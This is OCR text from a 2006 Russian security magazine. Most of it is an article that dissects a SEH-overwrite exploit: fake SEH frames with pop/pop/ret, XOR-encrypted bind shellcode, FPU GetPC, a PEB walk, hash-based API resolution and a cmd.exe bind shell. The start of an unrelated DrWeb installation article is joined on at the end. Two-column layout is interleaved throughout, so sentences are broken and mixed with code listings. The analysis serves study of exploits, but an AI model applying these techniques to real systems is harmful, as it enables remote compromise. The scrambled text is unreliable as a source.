ментарий, заботливо оставленный создателем эксплоита, эту задачу. Вместо того, чтобы затирать адрес возврата
говорит, что по этому адресу он ожидает увидеть конструк- (как делало это целое поклонение кодокопателей), мы под-
цию pop reg/pop reg/retn. Это классическая последователь- меняем оригинальный SEH-фрейм атакуемой программы
ность, используемая для передачи управления через под- своим. Теоретически, SEH-фреймы могут быть расположе-
ложные SEH-фреймы, подробно описанная в статье «Экс- ны в любом месте, но практически все известные компи-
плуатирование SEH в среде Win32» (http://www.securitylab.ru/ ляторы размещают их в стеке, на вершине кадра, прина-
contest/212085.php), написанной houseofdabus. Он же напи- длежащего данной функции, то есть по соседству с сохра-
сал и разбираемый нами эксплоит. ненным EPB и RET:

№8, август 2006 61


безопасность
Листинг 4. Фрагмент функции, формирующий новый SEH-фрейм в EBX попадет адрес текущего SEH-фрейма. А это значит,
(компилятор – Microsoft Visual C++)
что для достижения задуманной цели мы должны поверх
; открыть новый... handler поместить указатель на команду JMP EBX (FFh E3h)
.text:0040104D push ebp
; ...кадр стека или CALL EBX (FFh D3h), которую можно найти как в самой
.text:0040104E mov ebp, esp атакуемой программе, так и в памяти операционной систе-
; это последний SEH-фрейм
.text:00401050 push 0FFFFFFFFh мы (естественно, адрес будет «плавать» от версии к вер-
; предшествующий SEH-обработчик сии, что есть неизбежное зло, но с этим надо смириться).
.text:00401052 push offset stru_407020
; новый SEH-обработчик Тогда при возникновении исключения управление будет
.text:00401057 push offset _except_handler3 передано на двойное слово, содержащее указатель prev.
; получить указатель на SEH-фрейм
.text:0040105C mov eax, large fs:0 Да-да! Не по указателю prev, а именно на сам указатель,
; предыдущий SEH-обработчик который следует заменить на JMP SHORT sellcode. Пос-
.text:00401062 push eax
; зарегистрировать новый SEH-фрейм кольку команды перехода в x86-процессорах относитель-
.text:00401063 mov large fs:0, esp ные, знать точное расположение shell-кода в памяти уже
необязательно.
Отсюда: если мы можем затереть адрес возврата, подме- В Windows XP эта лазейка была прикрыта, но! Осталась
на SEH-фрейма не составит никаких проблем (см. рис. 2)! функция-фильтр __except_handler3, входящая в состав RTL-
Сама структура фреймов проста до безобразия: компилятора, а потому никак не зависящая от операцион-
ной системы. Рассмотрим окрестности дизассемблерного
Листинг 5. Структура SEH-фреймов кода, передающего управление на зарегистрированный
struct EXCEPTION_REGISTRATION программистом обработчик.
{
// предыдущий SEH-фрейм
/* 00h */ EXCEPTION_REGISTRATION *prev; Листинг 7. Фрагмент RTL-функции __except_handler3,
// обработчик исключения сохраняющий указатель на текущий SEH-фрейм перед вызовом
/* 04h */ DWORD *handler; обработчика исключения
};
; указатель на текущий SEH-фрейм
.text:004012D1 mov esi, [ebx+0Ch]
Первое двойное слово указывает на предыдущий SEH- .text:004012D4 mov edi, [ebx+8]
.text:004012D7
фрейм в цепочке (если текущий обработчик не знает, что ; CODE XREF: unknwn_libname_1+90↓j
делать с исключением, он отдает его предыдущему обра- .text:004012D7 unknwn_libname_2:
; обработчиков больше нет?
ботчику; если ни один из обработчиков не может обрабо- .text:004012D cmp esi, 0FFFFFFFFh
тать исключение, операционная система выбрасывает зна- ; если да, завершаем программу
.text:004012DA jz short unknwn_libname_5
менитое сообщение о критической ошибке и завершает ра- .text:004012DC lea ecx, [esi+esi*2]
боту приложения в аварийном режиме). .text:004012DF cmp dword ptr [edi+ecx*4+4], 0
; Microsoft VisualC 2-7/net
Следующее двойное слово содержит адрес процедуры .text:004012E4 jz short unknwn_libname_3
обработчика исключений (не путать с функцией-фильтром ; сохраняем указатель на фрейм
.text:004012E6 push esi
исключений, которая обслуживаться не операционной сис- ; сохраняем указатель на кадр
темой, а компилятором!). Очень заманчиво записать сю- .text:004012E7 push ebp
.text:004012E8 lea ebp, [ebx+10h]
да указатель на shell-код, но вся проблема в том, что этого ; вызываем обработчик исключения
указателя мы не знаем и в общем случае не можем узнать! .text:004012EB call dword ptr [edi+ecx*4+4]
; восстанавливаем кадр
На самом деле ситуация не так уж плачевна. .text:004012EF pop ebp
Рассмотрим процесс обработки исключений повнима- ; восстанавливаем фрейм
.text:004012F0 pop esi
тельнее. В тот момент, когда прикладной код пытается сде-
лать что-то недопустимое, процессор генерирует прерыва- Вот оно! Перед вызовом обработчика исключения, фун-
ние. Операционная система перехватывает его и передает кция временно сохраняет указатель на текущий SEH-фрейм
внутренней функции KiUserExceptionDispatcher, содержа- в стеке (команда PUSH ESI), который на момент вызова об-
щейся внутри NTDLL.DLL. Та в свою очередь вызывает про- работки будет расположен по смещению +8h. Причем ис-
межуточную функцию RtlUnwind (все из той же NTDLL.DLL), править это средствами операционной системы никак не-
передающую управление фильтру исключений, установлен- возможно! Необходимо переписать RTL каждого из компи-
ным компилятором (в случае Microsoft Visual C++ эта фун- ляторов и перекомпилировать все программы!
кция называется __except_handler3), которая и вызывает Для реализации атаки достаточно заменить handler
прикладной обработчик, зарегистрированный программис- указателем на последовательность pop reg/pop reg/ret или
том уязвимого приложения. add esp, 8/ret (которая достаточно часто встречается в эпи-
Получается следующая цепочка вызовов: логах функций), а поверх prev как и раньше записать jump
на shell-код. Первая команда pop сталкивает с вершины
Листинг 6. Последовательность вызова функций при обработке стека уже ненужный адрес возврата, оставленный call, вто-
исключения
рая – выбрасывает сохраненный регистр EBP, а ret переда-
NTDLL.DLL!KiUserExceptionDispatcher → ет управление на текущий SEH-фрейм.
NTDLL.DLL!RtlUnwind → __except_handler3
Теперь структура массива offsets становится более или
В Windows 2000 функция NTDLL.DLL!RtlUnwind остав- менее понятна. Мы видим три подложных SEH-фрейма –
ляет немного «мусора» в регистрах, в результате чего по одному для каждой операционной системы, расположен-

62
безопасность
ных в памяти с таким расчетом, чтобы они совпадали с те-
кущими SEH-фреймами атакуемой программы. Это самая
капризная часть эксплоита, поскольку дислокация фрей-
мов зависит как от версии атакуемой программы (добав-
ление или удаление локальных переменных внутри уязви-
мой функции изменяет расстояние между фреймом и пе-
реполняющимся буфером), так и от начального положе-
ния стека на момент запуска программы (за это отвеча-
ет операционная система). В дополнение к этому необхо-
димо следить за тем, чтобы handler действительно указы-
вал на pop reg/pop reg/ret (add esp,8/ret), а не на что-то дру- Рисунок 3. Расшифровка shell-кода в hiew
гое. В противном случае exploit работать не будет, но если
все значения подобранны правильно, управление получит повнимательнее, мы с удовлетворением обнаруживаем
bind_shellcode, который мы сейчас попробуем дизассемб- тривиальный расшифровщик в лице инструкции XOR, сле-
лировать, но прежде необходимо перевести ASCII-строку довательно, точка входа в shell-код определена нами пра-
в двоичный вид, чтобы его «проглотил» hiew или IDA PRO. вильно и все, что нужно, – это расшифровать его, а для это-
Вместо того, чтобы писать конвертор с нуля, воспользу- го мы должны определить значение регистров EBX и ECX,
емся возможностями компилятора языка Си, написав не- используемых расшифровщиком.
сложную программу, состоящую фактически всего из од- С регистром ECX разобраться несложно – он инициа-
ной строки (остальные – объявления): лизируется явно путем нехитрых математических преоб-
разований:
Листинг 8. Программа, сохраняющая ASCII-массив shellcode[]
в одноименный двоичный файл, пригодный для дизассемблирования sub ecx,ecx→ecx:=0; sub ebx,-50h→add ecx,50h→ecx := 50h
#include <stdio.h>
// сюда помещаем массив для преобразования
char shellcode[]="\xXX\xXX\xXX\xXX"; то есть на входе в расшифровщик ECX будет иметь зна-
main(){FILE *f;if(f=fopen("shellcode","wb")) ↵ чение 50h – именно столько двойных слов нам предстоит
fwrite(shellcode, sizeof(shellcode),1,f);}
расшифровать.
Выделяем массив bind_shellcode и копируем в нашу про- С регистром EBX все обстоит намного сложнее, и, чтобы
грамму, по ходу дела переименовывая его в shellcode. Ком- вычислить его значение, необходимо углубиться во внут-
пилируем с настройками по умолчанию, запускаем. На дис- ренние структуры данных сопроцессора. Команда FLDZ по-
ке образуется файл shellcode, готовый к загрузке в IDA Pro мещает на стек сопроцессора константу +0.0, а команда
или hiew (только не забудьте переключить дизассемблер FSTENV сохраняет текущую среду сопроцессора по адре-
в 32-разрядный режим!). су [esp-0Ch]. Открыв «Intel Architecture Software Developer's
Начало дизассемблерного листинга выглядит так: Manual Volume 2: Instruction Set Reference», среди прочей по-
лезной информации мы найдем и сам формат среды FPU:
Листинг 9. В начале shell-кода расположен расшифровщик,
расшифровывающий весь остальной код Листинг 10. Псевдокод команды fstenv, сохраняющей среду FPU
; ECX := 0 FPUControlWord → SRC(FPUControlWord);
00000000: 29C9 sub ecx,ecx FPUStatusWord → SRC(FPUStatusWord);
; EBX := 50h FPUTagWord → SRC(FPUTagWord);
00000002: 83E9B0 sub ecx,-050 FPUDataPointer → SRC(FPUDataPointer);
; загрузить +0.0 на стек FPU FPUInstructionPointer → SRC(FPUInstructionPointer);
00000005: D9EE fldz FPULastInstructionOpcode → SRC(FPULastInstructionOpcode);
; сохранить среду FPU в памяти
00000007: D97424F4 fstenv [esp][-0C]
; EBX := &fldz Наложив эту структуру на стек, мы получим вот что:
0000000B: 5B pop ebx
0000000C: 81731319F50437 xor d,[ebx][13],03704F519 Листинг 11. Карта размещения среды в стековой памяти
; ^расшифровываем двойными словами
0000000C ->- fstenv -> - 0Ch FPUControlWord
; EBX += 4:следующее двойное слово - 08h FPUStatusWord
00000013: 83EBFC sub ebx,-004 - 04h FPUTagWord
; мотаем цикл ->--- esp ---> 00h FPUDataPointer
00000016: E2F4 loop 00000000C (1) <- pop ebx -<- + 04h FPUInstructionPointer
; зашифрованная команда + 08 FPULastInstructionOpcode
00000018: E59F in eax,09F
; зашифрованная команда
0000001A: EF out dx,eax Из этой схемы видно, что команда POP EBX выталкива-
ет в регистр EBX адрес последней FPU-инструкции, кото-
Первые 8 команд более или менее понятны, а вот даль- рой и является FLDZ, расположенная по смещению 5h (ус-
ше начинается явный мусор, типа инструкций IN и OUT, ко- ловно). При исполнении на «живом» процессоре смещение
торые при попытке выполнения на прикладном режиме воз- будет наверняка другим, и, чтобы не погибнуть, shell-код
буждают исключение. Тут что-то не так! Либо точка входа должен определить, где именно он располагается в памя-
в shell-код начинается не с первого байта (но это противо- ти. Разработчик shell-кода применил довольно необычный
речит результатам наших исследований), либо shell-код за- подход, в то время как подавляющее большинство ограни-
шифрован. Присмотревшись к первым восьми командам чивается тривиальным CALL/POP REG. Сложив получен-

№8, август 2006 63


безопасность
ное смещение 5h с константой 13h, фигурирующей в инс- и получаем 69h. Именно по этому смещению и будет пере-
трукции XOR, мы получим 18h – адрес первого зашифро- дано управление! А команды, идущие за инструкцией CALL,
ванного байта. расположены чисто для маскировки, чтобы противник по-
Зная значения регистров, нетрудно расшифровать shell- дольше голову поломал.
код. В IDA Pro для этого достаточно написать следующий Хорошо, отправляемся в район 69h и смотрим, что хо-
скрипт: рошего у нас там:

Листинг 12. Скрипт для IDA Pro, расшифровывающий shell-код Листинг 14. Код, вычисляющий базовый адрес KERNEL32.DLL
через PEB
auto a,x; // объявление переменных
for(a = 0; a < 0x50; a++) // цикл расшифровки ; ebx := 0
{ seg000:00000069 31 DB xor ebx, ebx
// читаем очередное двойное слово ; PEB
x=Dword(MK_FP("seg000",a*4+0x18)); seg000:0000006B 64 8B 43 30 mov eax, fs:[ebx+30h]
// расшифровываем ; PEB_LDR_DATA
x = x ^ 0x3704F519; seg000:0000006F 8B 40 0C mov eax, [eax+0Ch]
//записываем расшифрованное значение ; InInitializationOrderModuleList
PatchDword(MK_FP("seg000",a*4+0x18),x); seg000:00000072 8B 70 1C mov esi, [eax+1Ch]
} ; EAX := *ESI
seg000:00000075 AD lodsd
; BASE of KERNEL32.DLL
Нажимаем <Shift+F2>, в появившемся диалоговом окне seg000:00000076 8B 40 08 mov eax, [eax+8]
вводим вышеприведенный код, запуская его на выполне-
ние по <Ctrl+Enter>. В hiew расшифровка осуществляется С первой командой, обнуляющей EBX через XOR, все по-
еще проще. Открываем файл shellcode, однократным нажа- нятно. Но вот вторая… что-то считывает из ячейки, лежа-
тием клавиши <ENTER> переводим редактор в hex-режим, щей по адресу FS:[EBX+30]. Селектор FS указывает на об-
подводим курсор к смещению 18h – туда, где кончается рас- ласть памяти, где операционная система хранит служеб-
шифровщик и начинается зашифрованный код (см. лис- ные (и практически никак недокументированные) данные
тинг 9), переходим в режим редактирования по <F3>, на- потока. К счастью, в нашем распоряжении есть Интернет.
жимаем <F8> (Xor) и вводим константу шифрования, за- Набираем в Googlе «fs:[30h]» (с кавычками!) и получаем ку-
писанную с учетом порядка байтов на x86 задом наперед: чу ссылок от рекламы картриджей TK-30H до вполне вме-
19h F5h 04h 37h и жмем <F8> до тех пор, пока курсор не дой- няемых материалов, из которых мы узнаем, что в ячейке
дет до конца файла. Сохраняем изменения клавишей <F9> FS:[30h] хранится указатель на Process Enviroment Block –
и выходим (см. рис. 3). блок окружения процесса или сокращенно PEB.
После расшифровки shell-код можно дизассемблиро- Описание самого PEB (как и многих других внутренних
вать в обычном режиме. Начинаем анализ и… тут же вля- структур операционной системы) можно почерпнуть из за-
пываемся в древний, но все еще работающий антидизас- мечательной книги «The Undocumented Functions Microsoft
семблерный трюк: Windows NT/2000», электронная версия которой доступна
по адресу: http://undocumented.ntinternals.net.
Листинг 13. Древний антидизассемблерный трюк – Из нее мы узнаем, что по смещению 0Ch от начала PEB
прыжок в середину команды
лежит указатель на структуру PEB_LDR_DATA, по смеще-
; CODE XREF: seg000:0000001C↓p нию 1Ch от начала которой лежит список. Не указатель
seg000:019 loc_19:
; скрытая команда в операнде на список, а сам список, состоящий из двух двойных слов:
seg000:019 6A EB push FFFFFFEBh указателя на следующий LIST_ENTRY и указателя на экзем-
; продолжение скрытой команды
seg000:01B 4D dec ebp пляр структуры LDR_MODULE, перечисленных в порядке
; вызов в середину push инициализации модулей, а первым, как известно, инициа-
seg000:01C E8 F9 FF FF FF call loc_19+1
; сохраняем все регистры лизируется KERNEL32.DLL.
seg000:021 60 pusha
Листинг 15. Недокументированная структура PEB_LDR_DATA
Команда «CALL LOC_19+1» прыгает куда-то в сере- /* 00 */ ULONG Length;
дину инструкции PUSH, засылающей в стек константу /* 04 */ BOOLEAN Initialized;
/* 08 */ PVOID SsHandle;
FFFFFFEBh, в которой опытные кодокопатели уже наверня- /* 0C */ LIST_ENTRY InLoadOrderModuleList;
ка увидели инструкцию безусловного перехода, заданную /* 14 */ LIST_ENTRY InMemoryOrderModuleList;
/* 1C */ LIST_ENTRY InInitializationOrderModuleList;
опкодом EBh, а вся команда выглядит так: EBh 4Dh, где 4Dh
«отрываются» от инструкции DEC EBP. Важно не забывать, Описание самой структуры LDR_MODULE выглядит
что PUSH с опкодом 6Ah – это знаковая команда, то есть так (кстати говоря, в «The Undocumented Functions Microsoft
никаких FFh в самом опкоде нет, поэтому вместо перехода Windows NT/2000» допущена грубая ошибка – пропущен
по адресу EBh FFh (как это следует из дизассемблерного union):
текста) мы получаем переход по адресу EBh 4Dh (как это
следует из машинного кода), что совсем не одно и то же! Листинг 16. Недокументированная структура LDR_MODULE
Сам переход, кстати говоря, относительный и вычисляет- typedef struct _LDR_MODULE {
ся от конца команды JMP, длина которой в данном случае union order_type
{
равна двум. Складываем 4Dh (целевой адрес перехода) /* 00 */ LIST_ENTRY InLoadOrderModuleList;
с 1Ah (адрес самой команды перехода – loc_19 + 1 = 1Ah) /* 00 */ LIST_ENTRY InMemoryOrderModuleList;

64
безопасность
/* 00 */ LIST_ENTRY InInitializationOrderModuleList; ; если конец, выходим из цикла
} seg000:00000043 74 07 jz short loc_4C
/* 08 */ PVOID BaseAddress; ; следующие 2 строчки хэшируют имя
/* 0C */ PVOID EntryPoint; seg000:00000045 C1 CA 0D ror edx, 0Dh
/* 10 */ ULONG SizeOfImage; seg000:00000048 01 C2 add edx, eax
/* 14 */ UNICODE_STRING FullDllName; ; мотаем цикл
/* 18 */ UNICODE_STRING BaseDllName; seg000:0000004A EB F4 jmp short loc_40
/* 1C */ ULONG Flags; seg000:0000004C
/* 20 */ SHORT LoadCount; ; CODE XREF: seg000:00000043↑j
/* 22 */ SHORT TlsIndex; seg000:0000004C loc_4C:
/* 24 */ LIST_ENTRY HashTableEntry; ; это «наш» хэш?
/* 28 */ ULONG TimeDateStamp; seg000:0000004C 3B 54 24 28 cmp edx, [esp+28h]
} LDR_MODULE, *PLDR_MODULE; ; продолжаем поиск, если не наш
seg000:00000050 75 E5 jnz short loc_37
; ordinalTableRVA
Самая трудная часть позади. Теперь мы точно знаем, seg000:00000052 8B 5F 24 mov ebx, [edi+24h]
; ordinalTable VA
что EAX содержит базовый адрес KERNEL32.DLL. Продол- seg000:00000055 01 EB add ebx, ebp
жаем анализировать дальше. ; index
seg000:00000057 66 8B 0C 4B mov cx, [ebx+ecx*2]
; exportAddressTableRVA
Листинг 17. Вызов API-функции по хэш-именам seg000:0000005B 8B 5F 1C mov ebx, [edi+1Ch]
; exportAddressTable VA
; esi := &MyGetProcAddress seg000:0000005E 01 EB add ebx, ebp
seg000:00000079 5E pop esi ; вот она наша функция!!!
; #LoadLibraryA seg000:00000060 03 2C 8B add ebp, [ebx+ecx*4]
seg000:0000007A 68 8E 4E 0E EC push 0EC0E4E8Eh ; сохраняем в EAX
; base of KERNEL32.DLL ; восстанавливаем регистры
seg000:0000007F 50 push eax seg000:00000063 89 6C 24 1C mov [esp+1Ch], ebp
; MyGetProcAddress seg000:00000067 61 popa
seg000:00000080 FF D6 call esi ; возвращаемся из функции
seg000:00000068 C3 retn

Команда POP ESI выталкивает в регистр ESI двойное


слово, лежащее на вершине стека. А что у нас там? Помните Зная базовый адрес загрузки KERNEL32.DLL (он пере-
команду CALL, передающую управление хитрой инструкции дается функции через стек и лежит по смещению 24h бай-
JMP? Она положила на стек адрес возврата, то есть адрес та от вершины – остальное пространство занимают регис-
следующей за ней команды, равный в данном случае 021h, тры, сохраненные командой PUSHA), программа получа-
который тут же и вызывается инструкцией CALL ESI, при- ет указатель на PE-заголовок, откуда извлекает указатель
нимающей два аргумента – базовый адрес KERNEL32.DLL, на таблицу экспорта, считывая общее количество экспор-
передаваемый в регистре EAX и непонятную константу тируемых имен (numberOfNamePointers) и RVA-указатель
0EC0E4E8Eh. на массив с именами, который тут же преобразуется в эф-
фективный виртуальный адрес путем сложения с базовым
Листинг 18. Процедура MyGetProcAddress, возвращающая адрес адресом загрузки KERNEL32.DLL.
API-функции по хэш-сумме его имени
А вот дальше… дальше начинается самое интерес-
; сохраняем все регистры ное! Для каждого из экспортируемых имен функция вы-
seg000:00000021 60 pusha
; base of KERNEL32.DLL числяет хэш, сравнивая его с тем «загадочным» числом.
seg000:00000022 8B 6C 24 24 mov ebp, [esp+24h] Если они совпадают, искомая API-функция считается най-
; PE header
seg000:00000026 8B 45 3C mov eax, [ebp+3Ch] денной, и возвращается ее виртуальный адрес. Таким об-
; export table RVA разом, данный код представляет собой аналог функции
seg000:00000029 8B 7C 05 78 mov edi, [ebp+eax+78h]
; адрес таблицы экспорта GetProcAddress, только с той разницей, что он принимает
seg000:0000002D 01 EF add edi, ebp не ASCII-имя функции, а его 32-битный хэш. Условимся на-
; numberOfNamePointers
seg000:0000002F 8B 4F 18 mov ecx, [edi+18h] зывать эту процедуру MyGetProcAddress.
; namePointerRVA Можно ли восстановить имя функции по ее хэшу? С ма-
seg000:00000032 8B 5F 20 mov ebx, [edi+20h]
; namePointer VA тематической точки зрения – навряд ли, но что мешает
seg000:00000035 01 EB add ebx, ebp нам запустить shell-код под отладчиком (см. одноименную
seg000:00000037
; CODE XREF: seg000:00000050↓j врезку) и «подсмотреть» возвращенный виртуальный ад-
seg000:00000037 loc_37: рес, по которому имя определяется без проблем!
; обрабатываем следующее имя
seg000:00000037 49 dec ecx Сказано – сделано! Немного протрассировав програм-
; RVA-адрес функции му до строки 82h, мы обнаруживаем в регистре EAX чис-
seg000:00000038 8B 34 8B mov esi, [ebx+ecx*4]
; виртуальный адрес функции ло 79450221h (зависит от версии системы, на вашей ма-
seg000:0000003B 01 EE add esi, ebp шине наверняка будет иным). Нормальные отладчики (ти-
; EAX := 0
seg000:0000003D 31 C0 xor eax, eax па OllyDbg) тут же покажут имя функции LoadLibraryA.
; EDX := 0 Как вариант можно воспользоваться утилитой DUMPBIN
seg000:0000003F 99 cdq
seg000:00000040 из Platform SDK, запустив ее со следующими ключами:
; CODE XREF: seg000:0000004A↓j «dumpbin KERNEL32.DLL /EXPORTS > kernel32», только пом-
seg000:00000040 loc_40:
; читаем очередной байт имени ните, что она показывает относительные RVA-адреса, по-
seg000:00000040 AC lodsb этому необходимо либо добавить к ним базовый адрес за-
; это конец имени?
seg000:00000041 84 C0 test al, al грузки KERNEL32.DLL, либо вычесть его из адреса иско-
мой функции.

№8, август 2006 65


безопасность
Листинг 19 загрузка библиотеки ws2_32 для работы с сокетами считывает ASCII-строку, передавая ее командному интер-
и ее инициализация
претатору cmd.exe по следующей схеме:
; "ws2_32"
seg000:00000082 66 53 push bx CreateProcessA(0, "cmd...", 0,0, 1,0,0,0, lpStartupInfo,
seg000:00000084 66 68 33 32 push small 3233h lpProcessInformation) → WaitForSingleObject(hProc, -1) →
seg000:00000088 68 77 73 32 5F push 5F327377h ExitThread(0)
; &"ws2_32"
seg000:0000008D 54 push esp
; LoadLibraryA Злоумышленник может запускать любые программы
seg000:0000008E FF D0 call eax
; WSAStartup и выполнять пакетные команды, что дает ему практичес-
seg000:00000090 68 CB ED FC 3B push 3BFCEDCBh ки неограниченную власть над системой, разумеется, ес-
seg000:00000095 50 push eax
; MyGetProcAddress ли брандмауэр будет не прочь, но про обход брандмауэров
seg000:00000096 FF D6 call esi уже неоднократно писали.

Имея в своем распоряжении функцию LoadLibraryA, shell- Заключение


код загружает библиотеку ws_2_32 для работы с сокетами, Вот мы и познакомились с основными приемами исследо-
имя которой передается непосредственно через стек и за- вания эксплоитов. Остальные анализируются аналогично.
вершается двумя нулевыми байтами (хотя было бы доста- Главное не теряться и всегда в любой ситуации помнить, что
точно и одного), формируемого командой PUSH BH (как мы Интернет рядом с тобой! Достаточно лишь правильно со-
помним, несколькими строками выше EBX был обращен ставить запрос, и все недокументированные структуры бу-
в ноль – см. листинг 9). дут видны как на ладони, ведь недра операционных систем
PUSH BH это двухбайтовая команда, в то время как уже изрыты вдоль и поперек, так что крайне маловероятно
PUSH EBX – однобайтовая. Но не будем придираться по ме- встретить в shell-коде нечто принципиально новое. То есть
лочам. встретить как раз-таки очень даже вероятно, но «новым»
Процедура MyGetProcAddress снова принимает «маги- оно пробудет от силы неделю. Ну пусть десять дней. А пос-
ческое» число 3BFCEDCBh, которое после расшифровки ле начнет расползаться по форумам, электронным и бу-
под отладчиком оказывается API-функцией WSAStartup, вы- мажным журналам, будет обсуждаться в курилках и хакер-
зов которой совершенно не оправдан, поскольку для ини- ских кулуарах наконец. А затем Microsoft выпустит очеред-
циализации библиотеки сокетов ее достаточно вызвать ное исправление к своей замечательной системе, и таким
один-единственный раз, что уже давно сделало уязви- трудом добытые трюки станут неактуальными.
мое приложение, иначе как бы мы ухитрились его удален-
но атаковать? 1. Системные вызовы NT. Наиболее полная коллекция систем-
Последовательность последующих вызовов вполне ных вызовов всей линейки NT-подобных систем, крайне по-
стандартна: лезна для исследователей (на английском языке): http://www.
metasploit.com/users/opcode/syscalls.html;
WSASocketA(2, 1, 0,0,0,0) → bind(s, {sockaddr_in.2; 2. Системные вызовы по LINUX. Энциклопедия системных вызо-
sin_port.0x621Eh}, 0x10) → listen(s,2) → accept (s, *addr,
*addrlen) → closesocket(s) вов различных LINUX-подобных систем с прототипами, а кое-
где и с комментариями (на английском языке): http://www.lxhp.
Дождавшись подключения на заданный порт, shell-код in-berlin.de/lhpsyscal.html.

Как запустить shell-код под отладчиком


Статические методы исследования, к которым относятся дизас-
семблеры, не всегда удобны, и во многих случаях отладка намно-
го более предпочтительна. Однако отладчиков, способных отла-
живать shell-код, не существует, и приходится хитрить.
Пишем простую программу наподобие «hello, word!», компи-
лируем. Открываем полученный исполняемый файл в hiew, при-
вычным нажатием клавиши <ENTER> переключаемся в hex-ре-
жим, давим <F8> (header) и переходим в точку входа по <F5>. На-
жимаем <*> и выделяем курсором некоторое количество байт, та-
Рисунок 4. Shell-код, отлаживаемый в отладчике OllyDbg
кое – чтобы было не меньше размера shell-кода. Нажимаем <*>
еще раз для завершения выделения и перемещаем курсор в на- После этой несложной хирургической операции исполняемый
чало выделенного блока (по умолчанию он будет раскрашен бор- файл можно отлаживать любым отладчиком – хоть soft-ice, хоть
довым). Давим <Ctrl-F2>, в появившемся диалоговом окне вво- OllyDbg, но перед этим необходимо отредактировать атрибуты
дим имя файла (в данном случае shellcode) и после завершения кодовой секции (обычно она называется .text), разрешив ее мо-
процесса загрузки блока с диска выходим из hiew. <F9> можно дификацию, иначе shell-код выбросит исключение при первой же
не нажимать, т. к. изменения сохраняются автоматически. Руга- попытке записи. Проще всего обработать файл с помощью утили-
тельство «End of input file» означает, что размер выделения пре- ты EDITBIN, входящей в штатный комплект поставки компилятора
вышает размер файла. В данном случае это нормальная ситуа- Microsoft Visual C++, запустив ее следующим образом:
ция. Хуже, когда наоборот (если часть файла окажется незагру-
Листинг 20. Снятие с кодовой секции запрета на запись
женной, shell-код, естественно, работать не будет). EDITBIN filename.exe /SECTION:.text,rwe

66
безопасность

Настраиваем
DrWeb Enterprise Suite

Антон Борисов
Мало кто ставит под сомнение факт, что на современном рабочем месте должен
стоять антивирусный пакет. Сегодня вирусы берут не умением, а числом. В основном
они не разрушают информацию – они создают условия к утечке коммерческой информации.
Как защитить предприятие от вирусной активности?

С
одной стороны, можно отфиль- кие продукты, так и продукты формата ти происходит принудительная очист-
тровывать входящие и исходя- Open Source. Можно настроить систе- ка от транзитных вирусных приложе-
щие почтовые сообщения че- му фильтрации содержимого, которое ний. А стоит ли производить повсемес-
рез почтовый шлюз. Здесь замеча- проходит через proxy-серверы, здесь тное развертывание антивирусных па-
тельно вписываются как коммерчес- также достаточно альтернатив. По су- кетов на каждом рабочем месте? Без-

68
безопасность
условно, никто это не ставит под сомнение. Но что имен- пуска сервера. Здесь пока преждевременно думать о све-
но выбрать в качестве основы, чтобы был централизован- жих базах и версиях, т.к. мы затем настроим обновление
ный центр обновления антивирусных агентов, имелся еди- ПО и новые версии получим по сети, через сервис GUS –
ный центр управления и велась оперативная статистика? Global Update System.
На мой взгляд, стоит обратить внимание на антивирусные Серверная часть антивирусного ПО доступна как для
решения масштаба предприятия (Enterprise Solutions). Windows-платформы, так и для UNIX/Linux-систем. Ког-
На сегодняшний день наиболее распространенными яв- да вы решите разворачивать систему на базе Linux-сер-
ляются enterprise-решения от компаний: вера, то предварительно узнайте, какая GLIBC-библио-
 Symantec – Symantec AntiVirus Enterprise Edition [1]. тека используется в вашей системе, и забирайте нужную
 Eset Software – NOD32 Enterprise Edition [2]. вам версию.
 Sophos – Endpoint Security [3]. Здесь и далее я буду расcматривать установку на Linux-
 McAfee – McAfee Total Protection Enterprise [4]. сервер. Итак, забираем с сайта архив, совместимый с вер-
 F-Secure – F-Secure Anti-Virus for Workstations [5]. сией GLIBC-библиотеки в вашей системе (для моей сис-
 Panda – Panda EnterpriSecure Antivirus [6]. темы – Slackware Linux 10.2 – оказался подходящим архив
 «ООО «Доктор Веб» – DrWeb Enterprise Suite [7]. для Debian [17]):
 «Лаборатория Касперского» – Kaspersky Corporate
Suite [8]. $ wget ftp://ftp.drweb.com/pub/drweb/esuite/ ↵
drweb-es-4.33-200510280-linux-debian-sarge.tar.gz
$ wget ftp://ftp.drweb.com/pub/drweb/esuite/ ↵
Последние два продукта выпускаются отечественны- drweb-es-4.33-200510280-unices.tar.gz
$ tar xzvf drweb-es-4.33-200510280-linux-debian-sarge.tar.gz
ми компаниями. $ tar xzvf drweb-es-4.33-200510280-unices.tar.gz
Что из себя представляет антивирусное программное
обеспечение масштаба предприятия? Это в первую оче- Создаем группу и пользователя в системе, от имени
редь специализированный продукт, к примеру, от одной которого будет запускаться серверная часть антивирус-
из вышеперечисленных компаний. Во-вторых, это клиент- ного пакета:
серверный программный комплекс, задача серверной час-
ти в котором – обеспечивать централизованное обновле- # groupadd drwcs
# adduser drwcs
ние по сети антивирусного обеспечения для клиентов, вес-
ти журнал, где учитывается, на какой именно рабочей стан- В директорию /opt копируем содержание распакованно-
ции произошел тот или иной случай инфицирования, а так- го архива drweb-es-4.33-200510280-unices.tar.gz:
же некоторые другие события. А задача клиентской час-
ти, которая была предварительно установлена на рабочей # cp -R opt /opt/drwcs
# chown -R drwcs:drwcs /opt/drwcs
станции, – предотвращать «инфекции», производить «ле-
чение». В целом общий функционал у всех решений оди- На этом шаге установка почти завершена. Будучи ком-
наков. Что же касается деталей, то здесь намного интерес- мерческим продуктом, DrWeb Enterprise Suite не будет рабо-
нее, т.к. приходится рассматривать такие критерии, как со- тать без ключа активации. Ключ генерирует дилер компа-
отношение цена/качество, сертификация в отечественных нии или сама компания на срок подписки, например, на год.
агентствах по информатизации, возможность использова- В нем также учитывается, для скольких клиентских мест
ния на объектах повышенной секретности и т. п. куплена поддержка. Будем считать, что ваша компания
Наша компания остановила свой выбор на антивирус- купила поддержку для 100 рабочих мест, ключ передан по
ном пакете DrWeb. Легковесный антивирус – размер анти- электронной почте или другим способом. Переносим его на
вирусного клиента, устанавливаемого на рабочем месте, наш Linux-сервер. Будем считать, что файл – enterprise.key –
достаточно компактен – несколько мегабайт. Есть русский находится на вашей рабочей станции UNIX и передаваться
язык. И что немаловажно – грамотная техническая подде- будет по SSH-протоколу.
ржка. Вполне возможно, что вам и не придется обращаться
за помощью, т.к. описания и документация, идущие с про- $ scp enterprise.key drwcs@drwcs.lan.net:/opt/drwcs/etc
дуктом, охватывают, пожалуй, все ключевые моменты, ко-
торые могут возникнуть. Однако в вашей организации в ка- Таким образом, мы передали по SSH-протоколу ключ ак-
честве настольного антивируса может выступать решение тивации, от которого зависит работа серверной части ком-
